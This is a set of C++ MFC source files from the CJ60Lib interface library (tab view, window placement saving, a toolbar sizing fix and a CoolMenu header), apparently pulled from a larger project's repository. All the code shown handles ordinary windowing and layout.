// 1.00 14 Feb 1999 - Initial release.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CJTabView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CCJTabView
IMPLEMENT_DYNCREATE(CCJTabView, CCtrlView)
CCJTabView::CCJTabView() : CCtrlView(_T("SysTabControl32"),
TCS_TOOLTIPS | WS_VISIBLE | WS_CHILD | WS_BORDER)
{
m_pTabCtrl = (CTabCtrl*) this;
m_nActiveTab = 0;
}
CCJTabView::~CCJTabView()
{
while(!m_views.IsEmpty()) {
CTV_ITEM *pMember=m_views.RemoveHead();
safe_delete(pMember);
}
}
BEGIN_MESSAGE_MAP(CCJTabView, CCtrlView)
//{{AFX_MSG_MAP(CCJTabView)
ON_WM_CREATE()
ON_WM_WINDOWPOSCHANGED()
ON_NOTIFY_REFLECT(TCN_SELCHANGE, OnSelchange)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCJTabView message handlers
void CCJTabView::GetChildRect(CRect &rect)
{
m_pTabCtrl->GetClientRect(&rect);
}
void CCJTabView::OnInitialUpdate()
{
CCtrlView::OnInitialUpdate();
}
CView* CCJTabView::GetActiveView()
{
return m_pActiveView;
}
CView* CCJTabView::GetView(int nView)
{
ASSERT_VALID(this);
ASSERT(nView >= 0);
if (nView!=-1) {
CTV_ITEM *pMember=m_views.GetAt(m_views.FindIndex(nView));
return (CView*)pMember->pWnd;
}
else
return NULL;
}
CView* CCJTabView::GetView(CRuntimeClass *pViewClass)
{
ASSERT_VALID(this);
ASSERT(pViewClass != NULL);
ASSERT(pViewClass->IsDerivedFrom(RUNTIME_CLASS(CWnd)));
ASSERT(AfxIsValidAddress(pViewClass, sizeof(CRuntimeClass), FALSE));
for (POSITION pos=m_views.GetHeadPosition(); pos; m_views.GetNext(pos)) {
CTV_ITEM *pMember=m_views.GetAt(pos);
if (pMember->pWnd->IsKindOf(pViewClass)) {
return (CView*)pMember->pWnd;
}
}
return NULL;
}
BOOL CCJTabView::ModifyTabStyle(DWORD dwRemove, DWORD dwAdd, UINT nFlags)
{
DWORD dwCurrentStyle = GetStyle();
// We are in horizontal mode...go vertical
if ((dwAdd & TCS_VERTICAL) && !(dwCurrentStyle & TCS_VERTICAL)) {
// Get the log font.
NONCLIENTMETRICS ncm;
ncm.cbSize = sizeof(NONCLIENTMETRICS);
VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,
sizeof(NONCLIENTMETRICS), &ncm, 0));
m_TabFont.Detach();
ncm.lfMessageFont.lfOrientation = (dwAdd & TCS_RIGHT) ? 2700 : 900;
ncm.lfMessageFont.lfEscapement = (dwAdd & TCS_RIGHT) ? 2700 : 900;
m_TabFont.CreateFontIndirect(&ncm.lfMessageFont);
m_pTabCtrl->SetFont(&m_TabFont);
}
// We are in vertical mode....go horizontal
else if ((dwCurrentStyle & TCS_VERTICAL) && !(dwAdd & TCS_VERTICAL)) {
// Get the log font.
NONCLIENTMETRICS ncm;
ncm.cbSize = sizeof(NONCLIENTMETRICS);
VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,
sizeof(NONCLIENTMETRICS), &ncm, 0));
m_TabFont.Detach();
ncm.lfMessageFont.lfOrientation = 0;
ncm.lfMessageFont.lfEscapement = 0;
m_TabFont.CreateFontIndirect(&ncm.lfMessageFont);
m_pTabCtrl->SetFont(&m_TabFont);
}
return m_pTabCtrl->ModifyStyle(dwRemove, dwAdd, nFlags);
}
int CCJTabView::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CCtrlView::OnCreate(lpCreateStruct) == -1)
return -1;
ASSERT(m_pTabCtrl); // Should already be constructed
m_pTabCtrl->SetParent(this);
m_pTabCtrl->ModifyStyle(0, WM_PARENTNOTIFY);
// Get the log font.
NONCLIENTMETRICS ncm;
ncm.cbSize = sizeof(NONCLIENTMETRICS);
VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,
sizeof(NONCLIENTMETRICS), &ncm, 0));
m_TabFont.CreateFontIndirect(&ncm.lfMessageFont);
m_pTabCtrl->SetFont(&m_TabFont);
// VC5 Support.
#if _MSC_VER >= 1200
m_pToolTip = m_pTabCtrl->GetToolTips();
m_pTabCtrl->SetToolTips(m_pToolTip);
#else
m_pToolTip = m_pTabCtrl->GetTooltips();
m_pTabCtrl->SetTooltips(m_pToolTip);
#endif
return 0;
}
// Determine where the views should be placed in the tab...
void CCJTabView::CalcViewRect(CRect* pRect)
{
GetChildRect((*pRect));
DWORD dwStyle = GetStyle();
if ((dwStyle & TCS_BOTTOM) && !(dwStyle & TCS_VERTICAL)) { // Bottom
(*pRect).top += TABVIEW_BORDER;
(*pRect).left += TABVIEW_BORDER;
(*pRect).right -= TABVIEW_BORDER;
(*pRect).bottom -= 26;
}
else if ((dwStyle & TCS_RIGHT) && (dwStyle & TCS_VERTICAL)) { // Right
(*pRect).top += TABVIEW_BORDER;
(*pRect).left += TABVIEW_BORDER;
(*pRect).right -= 26;
(*pRect).bottom -= TABVIEW_BORDER;
}
else if (dwStyle & TCS_VERTICAL) { // Left
(*pRect).top += TABVIEW_BORDER;
(*pRect).left += 26;
(*pRect).right -= TABVIEW_BORDER;
(*pRect).bottom -= TABVIEW_BORDER;
}
else { // Top
(*pRect).top += 26;
(*pRect).left += TABVIEW_BORDER;
(*pRect).right -= TABVIEW_BORDER;
(*pRect).bottom -= TABVIEW_BORDER;
}
}
void CCJTabView::OnWindowPosChanged(WINDOWPOS FAR* lpwndpos)
{
CRect rcChild;
CWnd *pWnd;
CalcViewRect(&rcChild);
for (POSITION pos=m_views.GetHeadPosition(); pos; m_views.GetNext(pos)) {
pWnd = m_views.GetAt(pos)->pWnd;
pWnd->MoveWindow(rcChild);
}
// *** LiangYiBin.Donald
if( lpwndpos->flags & SWP_HIDEWINDOW ) {
CFrameWnd* pFrame = GetParentFrame();
POSITION pos = m_views.GetHeadPosition();
while ( pos != NULL ) {
// check whether the views in the controlbar are focused
CTV_ITEM *pItem = (CTV_ITEM *) m_views.GetNext(pos);
if ( pFrame != NULL && pFrame->GetActiveView() == pItem->pWnd ) {
// To avoid mainwindow freezing, we must deativate the view,
// because it's not visible now.
pFrame->SetActiveView(NULL);
}
}
}
CCtrlView::OnWindowPosChanged(lpwndpos);
}
void CCJTabView::RemoveView(int nView)
{
ASSERT_VALID(this);
ASSERT(nView >= 0);
// remove the page from internal list
m_views.RemoveAt(m_views.FindIndex(nView));
}
void CCJTabView::SetActiveView(CRuntimeClass *pViewClass)
{
ASSERT_VALID(this);
ASSERT(pViewClass != NULL);
ASSERT(pViewClass->IsDerivedFrom(RUNTIME_CLASS(CWnd)));
ASSERT(AfxIsValidAddress(pViewClass, sizeof(CRuntimeClass), FALSE));
int nNewTab = 0;
for (POSITION pos=m_views.GetHeadPosition(); pos; m_views.GetNext(pos)) {
CTV_ITEM *pMember=m_views.GetAt(pos);
if (pMember->pWnd->IsKindOf(pViewClass)) {
//first hide old first view
m_pActiveView->EnableWindow(FALSE);
m_pActiveView->ShowWindow(SW_HIDE);
// set new active view
m_pActiveView = (CView*)pMember->pWnd;
// enable, show, set focus to new view
m_pActiveView->EnableWindow(TRUE);
m_pActiveView->ShowWindow(SW_SHOW);
m_pActiveView->SetFocus();
// *** LiangYiBin.Donald
//((CFrameWnd *)GetParent())->SetActiveView(m_pActiveView);
//GetParentFrame()->SetActiveView(m_pActiveView);
m_nActiveTab = nNewTab;
// select the tab
m_pTabCtrl->SetCurSel(m_nActiveTab);
break;
}
nNewTab++;
}
}
void CCJTabView::SetActiveView(int nNewTab)
{
ASSERT_VALID(this);
ASSERT(nNewTab >= 0);
if (nNewTab!=-1 && nNewTab!=m_nActiveTab) {
CTV_ITEM *newMember=m_views.GetAt(m_views.FindIndex(nNewTab));
CTV_ITEM *oldMember=NULL;
if (m_nActiveTab!=-1) {
oldMember=m_views.GetAt(m_views.FindIndex(m_nActiveTab));
oldMember->pWnd->EnableWindow(FALSE);
oldMember->pWnd->ShowWindow(SW_HIDE);
}
newMember->pWnd->EnableWindow(TRUE);
newMember->pWnd->ShowWindow(SW_SHOW);
newMember->pWnd->SetFocus();
m_pActiveView = (CView *)newMember->pWnd;
m_nActiveTab = nNewTab;
// select the tab (if tab programmatically changed)
m_pTabCtrl->SetCurSel(m_nActiveTab);
}
}
CImageList* CCJTabView::SetTabImageList(CImageList *pImageList)
{
return m_pTabCtrl->SetImageList (pImageList);
}
BOOL CCJTabView::AddView(LPCTSTR lpszLabel, CRuntimeClass *pViewClass, CDocument* pDoc/*=NULL*/, CCreateContext *pContext/*=NULL*/)
{
#ifdef _DEBUG
ASSERT_VALID(this);
ASSERT(pViewClass != NULL);
ASSERT(pViewClass->IsDerivedFrom(RUNTIME_CLASS(CWnd)));
ASSERT(AfxIsValidAddress(pViewClass, sizeof(CRuntimeClass), FALSE));
#endif
CCreateContext context;
if (pContext == NULL) {
// *** LiangYiBin.Donald
context.m_pCurrentDoc = pDoc;
context.m_pCurrentFrame = GetParentFrame();
context.m_pLastView = NULL;
context.m_pNewDocTemplate = NULL;
context.m_pNewViewClass = pViewClass;
pContext = &context;
}
CWnd* pWnd;
TRY {
pWnd = (CWnd*)pViewClass->CreateObject();
if (pWnd == NULL)
AfxThrowMemoryException();
}
CATCH_ALL(e) {
TRACE0(_T("Out of memory creating a view.\n"));
// Note: DELETE_EXCEPTION(e) not required
return FALSE;
}
END_CATCH_ALL
ASSERT_KINDOF(CWnd, pWnd);
ASSERT(pWnd->m_hWnd == NULL); // not yet created
DWORD dwStyle = AFX_WS_DEFAULT_VIEW;
CRect rect;
// Create with the right size and position
if (!pWnd->Create(NULL, NULL, dwStyle, rect, this, 0, pContext)) {
TRACE0(_T("Warning: couldn't create client pane for view.\n"));
// pWnd will be cleaned up by PostNcDestroy
return FALSE;
}
m_pActiveView = (CView*) pWnd;
CTV_ITEM *pMember=new CTV_ITEM;
pMember->pWnd=pWnd;
_tcscpy(pMember->szLabel, lpszLabel);
m_views.AddTail(pMember);
// ToolTip support for tabs.
if((m_views.GetCount()-1)==0) {
m_pToolTip->AddTool( m_pTabCtrl, lpszLabel,
NULL, m_views.GetCount()-1 );
}
else {
m_pToolTip->AddTool( m_pTabCtrl, lpszLabel,
CRect(0,0,0,0), m_views.GetCount()-1 );
}
int nViews = m_views.GetCount();
if (nViews != 1) {
pWnd->EnableWindow(FALSE);
pWnd->ShowWindow(SW_HIDE);
}
TC_ITEM tci;
tci.mask = TCIF_TEXT | TCIF_IMAGE;
tci.pszText = (LPTSTR)(LPCTSTR)lpszLabel;
tci.iImage = nViews-1;
m_pTabCtrl->InsertItem(nViews, &tci);
CRect rcChild;
CalcViewRect(&rcChild);
m_pActiveView->MoveWindow(rcChild);
return TRUE;
}
// Used for tab change notifications
void CCJTabView::OnSelchange(NMHDR* pNMHDR, LRESULT* pResult)
{
SetActiveView(m_pTabCtrl->GetCurSel());
*pResult = 0;
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/CJTabView.cpp | C++ | asf20 | 10,679 |
////////////////////////////////////////////////////////////////
// Copyright 1999 Takehiko Mizoguti
// If this code works, it was written by Takehiko Mizoguti.
// If not, I don't know who wrote it.
//
// CCJFrameInfo implements FrameWindow Info for CCJFrameWnd Families.
//
#include "StdAfx.h"
#include "CJFrameInfo.h"
CCJFrameInfo::CCJFrameInfo()
{
m_pFrameWnd = NULL;
m_strSection.Empty();
m_strEntry.Empty();
length = sizeof( WINDOWPLACEMENT );
flags = NULL;
showCmd = NULL;
ptMinPosition.x = 0;
ptMinPosition.y = 0;
ptMaxPosition.x = 0;
ptMaxPosition.y = 0;
rcNormalPosition.left = 0;
rcNormalPosition.top = 0;
rcNormalPosition.right = 0;
rcNormalPosition.bottom = 0;
}
CCJFrameInfo::~CCJFrameInfo()
{
}
void CCJFrameInfo::EnableRestorePlacement( CFrameWnd* pFrame, CString strSection, CString strEntry )
{
m_pFrameWnd = pFrame;
m_strSection = strSection;
m_strEntry = strEntry;
}
void CCJFrameInfo::LoadFramePlacement()
{
if( !m_pFrameWnd ) return;
ASSERT( !m_strSection.IsEmpty() );
ASSERT( !m_strEntry.IsEmpty() );
CString strValue;
strValue = AfxGetApp()->GetProfileString( m_strSection, m_strEntry, "" );
int nField = _stscanf( strValue, _T("%i,%i,%i,%i,%i,%i,%i,%i,%i,%i"),
&flags,
&showCmd,
&ptMinPosition.x,
&ptMinPosition.y,
&ptMaxPosition.x,
&ptMaxPosition.y,
&rcNormalPosition.left,
&rcNormalPosition.top,
&rcNormalPosition.right,
&rcNormalPosition.bottom
);
if( nField == 10 ) m_pFrameWnd->SetWindowPlacement( this );
}
void CCJFrameInfo::SaveFramePlacement()
{
if( !m_pFrameWnd ) return;
ASSERT( !m_strSection.IsEmpty() );
ASSERT( !m_strEntry.IsEmpty() );
m_pFrameWnd->GetWindowPlacement( this );
CString strValue;
strValue.Format( _T("%i,%i,%i,%i,%i,%i,%i,%i,%i,%i"),
flags,
showCmd,
ptMinPosition.x,
ptMinPosition.y,
ptMaxPosition.x,
ptMaxPosition.y,
rcNormalPosition.left,
rcNormalPosition.top,
rcNormalPosition.right,
rcNormalPosition.bottom
);
AfxGetApp()->WriteProfileString( m_strSection, m_strEntry, strValue );
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/CJFrameInfo.cpp | C++ | asf20 | 2,221 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CFixMFCToolBar fixes sizing bugs in MFC CToolBar, so it works with
// modern toolbars in versions of comctl32.dll > 4.70.
//
// Most of this code is copied from MFC, with slight modifications marked "PD"
//
#include "StdAfx.h"
#include "FixTB.h"
#include "ModulVer.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
IMPLEMENT_DYNAMIC(CFixMFCToolBar, CToolBar)
BEGIN_MESSAGE_MAP(CFixMFCToolBar, CToolBar)
ON_MESSAGE(TB_SETBITMAPSIZE, OnSetBitmapSize)
ON_MESSAGE(TB_SETBUTTONSIZE, OnSetButtonSize)
ON_MESSAGE(WM_SETTINGCHANGE, OnSettingChange)
ON_MESSAGE(WM_SETFONT, OnSettingChange)
END_MESSAGE_MAP()
/////////////////
// This function gets the version number of comctl32.dll.
//
static int GetVerComCtl32()
{
CModuleVersion ver;
DLLVERSIONINFO dvi;
VERIFY(ver.DllGetVersion(_T("comctl32.dll"), dvi));
return dvi.dwMajorVersion*100 + dvi.dwMinorVersion;
}
int CFixMFCToolBar::iVerComCtl32 = GetVerComCtl32();
CFixMFCToolBar::CFixMFCToolBar()
{
m_bShowDropdownArrowWhenVertical = FALSE;
}
CFixMFCToolBar::~CFixMFCToolBar()
{
}
//////////////////
// These functions duplicate functionalityin VC 6.0
// Need to set transparent/flat style before setting
// button/image size or font to allow zero-height border.
//
LRESULT CFixMFCToolBar::OnSetBitmapSize(WPARAM, LPARAM lp)
{
return OnSizeHelper(m_sizeImage, lp);
}
LRESULT CFixMFCToolBar::OnSetButtonSize(WPARAM, LPARAM lp)
{
return OnSizeHelper(m_sizeButton, lp);
}
LRESULT CFixMFCToolBar::OnSettingChange(WPARAM, LPARAM lp)
{
return OnSizeHelper(CSize(0,0), lp);
}
LRESULT CFixMFCToolBar::OnSizeHelper(CSize& sz, LPARAM lp)
{
ASSERT(iVerComCtl32 > 0);
BOOL bModStyle =FALSE;
DWORD dwStyle =0;
if (iVerComCtl32 >= 471) {
dwStyle = GetStyle();
bModStyle = ModifyStyle(0, TBSTYLE_TRANSPARENT|TBSTYLE_FLAT);
}
LRESULT lRet = Default();
if (lRet)
sz = lp;
if (bModStyle)
SetWindowLong(m_hWnd, GWL_STYLE, dwStyle);
return lRet;
}
//////////////////
// **PD**
// This is the all-important function that gets the true size of a button,
// instead of using m_sizeButton. And it's virtual, so you can override if
// my algorithm doesn't work, as will surely be the case in some circumstances.
//
CSize CFixMFCToolBar::GetButtonSize(TBBUTTON* pData, int iButton)
{
ASSERT(iVerComCtl32 > 0);
// Get the actual size of the button, not what's in m_sizeButton.
// Make sure to do SendMessage instead of calling MFC's GetItemRect,
// which has all sorts of bad side-effects! (Go ahead, take a look at it.)
//
CRect rc;
SendMessage(TB_GETITEMRECT, iButton, (LPARAM)&rc);
CSize sz = rc.Size();
////////////////
// Now must do special case for various versions of comctl32.dll,
//
DWORD dwStyle = pData[iButton].fsStyle;
if ((pData[iButton].fsState & TBSTATE_WRAP)) {
if (dwStyle & TBSTYLE_SEP) {
// this is the last separator in the row (eg vertically docked)
// fudge the height, and ignore the width. TB_GETITEMRECT will return
// size = (8 x 22) even for a separator in vertical toolbar
//
if (iVerComCtl32 <= 470)
sz.cy -= 3; // empircally good fudge factor
else if (iVerComCtl32 != 471)
sz.cy = sz.cx;
sz.cx = 0; // separator takes no width if it's the last one
} else if (dwStyle & TBSTYLE_DROPDOWN &&
!m_bShowDropdownArrowWhenVertical) {
// ignore width of dropdown
sz.cx = 0;
}
}
return sz;
}
//////////////////
// **PD**
// Part 2 of correction for MFC is to recalculate everything when the bar
// goes from docked to undocked because the AdjustSize calculation happens
// when the bar is in the old state, and thus wrong. After the bar is
// docked/undocked, I'll recalculate with the new style and commit the change.
//
void CFixMFCToolBar::OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle)
{
CToolBar::OnBarStyleChange(dwOldStyle, dwNewStyle);
if (dwOldStyle != dwNewStyle) {
DWORD dwMode = 0;
if ((dwNewStyle & CBRS_SIZE_DYNAMIC) && (dwNewStyle & CBRS_FLOATING))
dwMode = LM_HORZ | LM_MRUWIDTH;
else if (dwNewStyle & CBRS_ORIENT_HORZ)
dwMode = LM_HORZ | LM_HORZDOCK;
else
dwMode = LM_VERTDOCK;
CalcDynamicLayout(-1, dwMode | LM_COMMIT);
}
}
////////////////////////////////////////////////////////////////
// Stuff below is copied from MFC; only mod is to call GetButtonSize.
#ifdef _MAC
#define CX_OVERLAP 1
#else
#define CX_OVERLAP 0
#endif
CSize CFixMFCToolBar::CalcSize(TBBUTTON* pData, int nCount)
{
ASSERT(pData != NULL && nCount > 0);
CPoint cur(0,0);
CSize sizeResult(0,0);
int cyTallestOnRow = 0;
for (int i = 0; i < nCount; i++)
{
if (pData[i].fsState & TBSTATE_HIDDEN)
continue;
// **PD**
// Load actual size of button into a local variable
// called m_sizeButton. C++ will use this instead of
// CToolBar::m_sizeButton.
//
CSize m_sizeButton = GetButtonSize(pData, i);
// **PD**
// I also changed the logic below to be more correct.
cyTallestOnRow = max(cyTallestOnRow, m_sizeButton.cy);
sizeResult.cx = max(cur.x + m_sizeButton.cx, sizeResult.cx);
sizeResult.cy = max(cur.y + m_sizeButton.cy, sizeResult.cy);
cur.x += m_sizeButton.cx - CX_OVERLAP;
if (pData[i].fsState & TBSTATE_WRAP)
{
cur.x = 0;
cur.y += cyTallestOnRow;
cyTallestOnRow = 0;
if (pData[i].fsStyle & TBSTYLE_SEP)
cur.y += m_sizeButton.cy;
}
}
return sizeResult;
}
int CFixMFCToolBar::WrapToolBar(TBBUTTON* pData, int nCount, int nWidth)
{
ASSERT(pData != NULL && nCount > 0);
int nResult = 0;
int x = 0;
for (int i = 0; i < nCount; i++)
{
pData[i].fsState &= ~TBSTATE_WRAP;
if (pData[i].fsState & TBSTATE_HIDDEN)
continue;
int dx, dxNext;
// **PD**
// Load actual size of button into a local variable
// called m_sizeButton. C++ will use this instead of
// CToolBar::m_sizeButton.
//
CSize m_sizeButton = GetButtonSize(pData, i);
dx = m_sizeButton.cx;
dxNext = dx - CX_OVERLAP;
if (x + dx > nWidth)
{
BOOL bFound = FALSE;
for (int j = i; j >= 0 && !(pData[j].fsState & TBSTATE_WRAP); j--)
{
// Find last separator that isn't hidden
// a separator that has a command ID is not
// a separator, but a custom control.
if ((pData[j].fsStyle & TBSTYLE_SEP) &&
(pData[j].idCommand == 0) &&
!(pData[j].fsState & TBSTATE_HIDDEN))
{
bFound = TRUE; i = j; x = 0;
pData[j].fsState |= TBSTATE_WRAP;
nResult++;
break;
}
}
if (!bFound)
{
for (int j = i - 1; j >= 0 && !(pData[j].fsState & TBSTATE_WRAP); j--)
{
// Never wrap anything that is hidden,
// or any custom controls
if ((pData[j].fsState & TBSTATE_HIDDEN) ||
((pData[j].fsStyle & TBSTYLE_SEP) &&
(pData[j].idCommand != 0)))
continue;
bFound = TRUE; i = j; x = 0;
pData[j].fsState |= TBSTATE_WRAP;
nResult++;
break;
}
if (!bFound)
x += dxNext;
}
}
else
x += dxNext;
}
return nResult + 1;
}
//////////////////////////////////////////////////////////////////////////
// **PD**
// Functions below are NOT actually modified. They're only here because they
// calls the modified functions above, which are NOT virtual.
//////////////////////////////////////////////////////////////////////////
void CFixMFCToolBar::SizeToolBar(TBBUTTON* pData, int nCount, int nLength, BOOL bVert)
{
ASSERT(pData != NULL && nCount > 0);
if (!bVert)
{
int nMin, nMax, nTarget, nCurrent, nMid;
// Wrap ToolBar as specified
nMax = nLength;
nTarget = WrapToolBar(pData, nCount, nMax);
// Wrap ToolBar vertically
nMin = 0;
nCurrent = WrapToolBar(pData, nCount, nMin);
if (nCurrent != nTarget)
{
while (nMin < nMax)
{
nMid = (nMin + nMax) / 2;
nCurrent = WrapToolBar(pData, nCount, nMid);
if (nCurrent == nTarget)
nMax = nMid;
else
{
if (nMin == nMid)
{
WrapToolBar(pData, nCount, nMax);
break;
}
nMin = nMid;
}
}
}
CSize size = CalcSize(pData, nCount);
WrapToolBar(pData, nCount, size.cx);
}
else
{
CSize sizeMax, sizeMin, sizeMid;
// Wrap ToolBar vertically
WrapToolBar(pData, nCount, 0);
sizeMin = CalcSize(pData, nCount);
// Wrap ToolBar horizontally
WrapToolBar(pData, nCount, 32767);
sizeMax = CalcSize(pData, nCount);
while (sizeMin.cx < sizeMax.cx)
{
sizeMid.cx = (sizeMin.cx + sizeMax.cx) / 2;
WrapToolBar(pData, nCount, sizeMid.cx);
sizeMid = CalcSize(pData, nCount);
if (nLength < sizeMid.cy)
{
if (sizeMin == sizeMid)
{
WrapToolBar(pData, nCount, sizeMax.cx);
return;
}
sizeMin = sizeMid;
}
else if (nLength > sizeMid.cy)
sizeMax = sizeMid;
else
return;
}
}
}
struct _AFX_CONTROLPOS
{
int nIndex, nID;
CRect rectOldPos;
};
CSize CFixMFCToolBar::CalcLayout(DWORD dwMode, int nLength)
{
ASSERT_VALID(this);
ASSERT(::IsWindow(m_hWnd));
if (dwMode & LM_HORZDOCK)
ASSERT(dwMode & LM_HORZ);
int nCount;
TBBUTTON* pData;
CSize sizeResult(0,0);
// Load Buttons
{
nCount = SendMessage(TB_BUTTONCOUNT, 0, 0);
if (nCount != 0)
{
int i;
pData = new TBBUTTON[nCount];
for (i = 0; i < nCount; i++)
GetButton(i, &pData[i]); // **PD** renamed from _GetButton
}
}
if (nCount > 0)
{
if (!(m_dwStyle & CBRS_SIZE_FIXED))
{
BOOL bDynamic = m_dwStyle & CBRS_SIZE_DYNAMIC;
if (bDynamic && (dwMode & LM_MRUWIDTH))
SizeToolBar(pData, nCount, m_nMRUWidth);
else if (bDynamic && (dwMode & LM_HORZDOCK))
SizeToolBar(pData, nCount, 32767);
else if (bDynamic && (dwMode & LM_VERTDOCK))
SizeToolBar(pData, nCount, 0);
else if (bDynamic && (nLength != -1))
{
CRect rect; rect.SetRectEmpty();
CalcInsideRect(rect, (dwMode & LM_HORZ));
BOOL bVert = (dwMode & LM_LENGTHY);
int nLen = nLength + (bVert ? rect.Height() : rect.Width());
SizeToolBar(pData, nCount, nLen, bVert);
}
else if (bDynamic && (m_dwStyle & CBRS_FLOATING))
SizeToolBar(pData, nCount, m_nMRUWidth);
else
SizeToolBar(pData, nCount, (dwMode & LM_HORZ) ? 32767 : 0);
}
sizeResult = CalcSize(pData, nCount);
if (dwMode & LM_COMMIT)
{
_AFX_CONTROLPOS* pControl = NULL;
int nControlCount = 0;
BOOL bIsDelayed = m_bDelayedButtonLayout;
m_bDelayedButtonLayout = FALSE;
for(int i = 0; i < nCount; i++)
if ((pData[i].fsStyle & TBSTYLE_SEP) && (pData[i].idCommand != 0))
nControlCount++;
if (nControlCount > 0)
{
pControl = new _AFX_CONTROLPOS[nControlCount];
nControlCount = 0;
for(int i = 0; i < nCount; i++)
{
if ((pData[i].fsStyle & TBSTYLE_SEP) && (pData[i].idCommand != 0))
{
pControl[nControlCount].nIndex = i;
pControl[nControlCount].nID = pData[i].idCommand;
CRect rect;
GetItemRect(i, &rect);
ClientToScreen(&rect);
pControl[nControlCount].rectOldPos = rect;
nControlCount++;
}
}
}
if ((m_dwStyle & CBRS_FLOATING) && (m_dwStyle & CBRS_SIZE_DYNAMIC))
m_nMRUWidth = sizeResult.cx;
for (i = 0; i < nCount; i++)
SetButton(i, &pData[i]); // **PD** renamed from _SetButton
if (nControlCount > 0)
{
for (int i = 0; i < nControlCount; i++)
{
CWnd* pWnd = GetDlgItem(pControl[i].nID);
if (pWnd != NULL)
{
CRect rect;
pWnd->GetWindowRect(&rect);
CPoint pt = rect.TopLeft() - pControl[i].rectOldPos.TopLeft();
GetItemRect(pControl[i].nIndex, &rect);
pt = rect.TopLeft() + pt;
pWnd->SetWindowPos(NULL, pt.x, pt.y, 0, 0, SWP_NOACTIVATE | SWP_NOSIZE | SWP_NOZORDER);
}
}
delete[] pControl;
}
m_bDelayedButtonLayout = bIsDelayed;
}
delete[] pData;
}
//BLOCK: Adjust Margins
{
CRect rect; rect.SetRectEmpty();
CalcInsideRect(rect, (dwMode & LM_HORZ));
sizeResult.cy -= rect.Height();
sizeResult.cx -= rect.Width();
CSize size = CControlBar::CalcFixedLayout((dwMode & LM_STRETCH), (dwMode & LM_HORZ));
sizeResult.cx = max(sizeResult.cx, size.cx);
sizeResult.cy = max(sizeResult.cy, size.cy);
}
return sizeResult;
}
CSize CFixMFCToolBar::CalcFixedLayout(BOOL bStretch, BOOL bHorz)
{
DWORD dwMode = bStretch ? LM_STRETCH : 0;
dwMode |= bHorz ? LM_HORZ : 0;
return CalcLayout(dwMode);
}
CSize CFixMFCToolBar::CalcDynamicLayout(int nLength, DWORD dwMode)
{
if ((nLength == -1) && !(dwMode & LM_MRUWIDTH) && !(dwMode & LM_COMMIT) &&
((dwMode & LM_HORZDOCK) || (dwMode & LM_VERTDOCK)))
{
return CalcFixedLayout(dwMode & LM_STRETCH, dwMode & LM_HORZDOCK);
}
return CalcLayout(dwMode, nLength);
}
/////////////////////////////////////////////////////////////////////////////
// CToolBar attribute access
// **PD** I renamed this from _GetButton.
//
void CFixMFCToolBar::GetButton(int nIndex, TBBUTTON* pButton) const
{
CToolBar* pBar = (CToolBar*)this;
VERIFY(pBar->SendMessage(TB_GETBUTTON, nIndex, (LPARAM)pButton));
// TBSTATE_ENABLED == TBBS_DISABLED so invert it
pButton->fsState ^= TBSTATE_ENABLED;
}
// **PD** I renamed this from _SetButton.
//
void CFixMFCToolBar::SetButton(int nIndex, TBBUTTON* pButton)
{
// get original button state
TBBUTTON button;
VERIFY(SendMessage(TB_GETBUTTON, nIndex, (LPARAM)&button));
// prepare for old/new button comparsion
button.bReserved[0] = 0;
button.bReserved[1] = 0;
// TBSTATE_ENABLED == TBBS_DISABLED so invert it
pButton->fsState ^= TBSTATE_ENABLED;
pButton->bReserved[0] = 0;
pButton->bReserved[1] = 0;
// nothing to do if they are the same
if (memcmp(pButton, &button, sizeof(TBBUTTON)) != 0)
{
// don't redraw everything while setting the button
DWORD dwStyle = GetStyle();
ModifyStyle(WS_VISIBLE, 0);
VERIFY(SendMessage(TB_DELETEBUTTON, nIndex, 0));
VERIFY(SendMessage(TB_INSERTBUTTON, nIndex, (LPARAM)pButton));
ModifyStyle(0, dwStyle & WS_VISIBLE);
// invalidate appropriate parts
if (((pButton->fsStyle ^ button.fsStyle) & TBSTYLE_SEP) ||
((pButton->fsStyle & TBSTYLE_SEP) && pButton->iBitmap != button.iBitmap))
{
// changing a separator
Invalidate(FALSE);
}
else
{
// invalidate just the button
CRect rect;
if (SendMessage(TB_GETITEMRECT, nIndex, (LPARAM)&rect))
InvalidateRect(rect, FALSE); // don't erase background
}
}
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/FixTB.cpp | C++ | asf20 | 14,903 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#include "StdAfx.h"
#ifdef _DEBUG
int CTraceFn::nIndent=-1; // current TRACE indent level
#endif
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/Globals.cpp | C++ | asf20 | 306 |
////////////////////////////////////////////////////////////////
// CoolMenu 1997 Microsoft Systems Journal.
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.01 13 Aug 1998 - Andrew Bancroft [ABancroft@lgc.com] - Since we've already
// added the entire toolbar to the imagelist we need to
// increment nNextImage even if we didn't add this button to
// m_mapIDtoImage in the LoadToolbar() method.
// 1.01a 13 Aug 1998 - Peter Tewkesbury - Added AddSingleBitmap(...)
// method for adding a single bitmap to a pulldown
// menu item.
// 1.02 13 Aug 1998 - Omar L Francisco - Fixed bug with lpds->CtlType
// and lpds->itemData item checking.
// 1.03 12 Nov 1998 - Fixes debug assert in system menu. - Wang Jun
